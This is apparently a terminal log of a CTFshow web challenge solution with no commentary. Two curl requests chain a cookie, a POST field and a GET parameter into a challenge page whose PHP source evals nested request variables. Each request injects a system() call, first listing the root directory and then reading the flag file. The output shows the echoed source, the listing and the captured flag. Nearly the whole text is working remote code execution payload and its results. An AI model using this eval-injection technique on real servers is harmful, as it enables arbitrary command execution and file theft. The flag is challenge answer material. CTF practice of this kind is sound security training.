┌──(kali㉿AyxGaming)-[~]
└─$ curl -b "CTFshow-QQ群:=A" -d "A=B" --data-urlencode "C[6][0][7][5][8][0][9][4][4]=system('ls /');" "http://4592fb23-ed52-458f-bb61-5b995b590787.challenge.ctf.sh
ow/?B=C"
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /><br /></span><span style="color: #FF8000">/*<br /># -*- coding: utf-8 -*-<br /># @Author: h1xa<br /># @Date: 2022-11-10 17:20:38<br /># @Last Modified by: h1xa<br /># @Last Modified time: 2022-11-11 09:38:59<br /># @email: h1xa@ctfer.com<br /># @link: https://ctfer.com<br /><br />*/<br /><br /><br /></span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /><br />eval(</span><span style="color: #0000BB">$_REQUEST</span><span style="color: #007700">[</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">$_COOKIE</span><span style="color: #007700">[</span><span style="color: #DD0000">'CTFshow-QQ群:'</span><span style="color: #007700">]]]][</span><span style="color: #0000BB">6</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">7</span><span style="color: #007700">][</span><span style="color: #0000BB">5</span><span style="color: #007700">][</span><span style="color: #0000BB">8</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">9</span><span style="color: #007700">][</span><span style="color: #0000BB">4</span><span style="color: #007700">][</span><span style="color: #0000BB">4</span><span style="color: #007700">]);<br /></span>
</span>
</code>bin
dev
etc
f1agaaa
home
lib
media
mnt
proc
root
run
sbin
srv
sys
tmp
usr
var
┌──(kali㉿AyxGaming)-[~]
└─$ curl -b "CTFshow-QQ群:=A" -d "A=B" --data-urlencode "C[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');" "http://4592fb23-ed52-458f-bb61-5b995b590787.challeng
e.ctf.show/?B=C"
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /><br /></span><span style="color: #FF8000">/*<br /># -*- coding: utf-8 -*-<br /># @Author: h1xa<br /># @Date: 2022-11-10 17:20:38<br /># @Last Modified by: h1xa<br /># @Last Modified time: 2022-11-11 09:38:59<br /># @email: h1xa@ctfer.com<br /># @link: https://ctfer.com<br /><br />*/<br /><br /><br /></span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /><br />eval(</span><span style="color: #0000BB">$_REQUEST</span><span style="color: #007700">[</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">$_COOKIE</span><span style="color: #007700">[</span><span style="color: #DD0000">'CTFshow-QQ群:'</span><span style="color: #007700">]]]][</span><span style="color: #0000BB">6</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">7</span><span style="color: #007700">][</span><span style="color: #0000BB">5</span><span style="color: #007700">][</span><span style="color: #0000BB">8</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">9</span><span style="color: #007700">][</span><span style="color: #0000BB">4</span><span style="color: #007700">][</span><span style="color: #0000BB">4</span><span style="color: #007700">]);<br /></span>
</span>
</code>ctfshow{e101e8e5-ac81-4080-b11a-35767eb78dbb}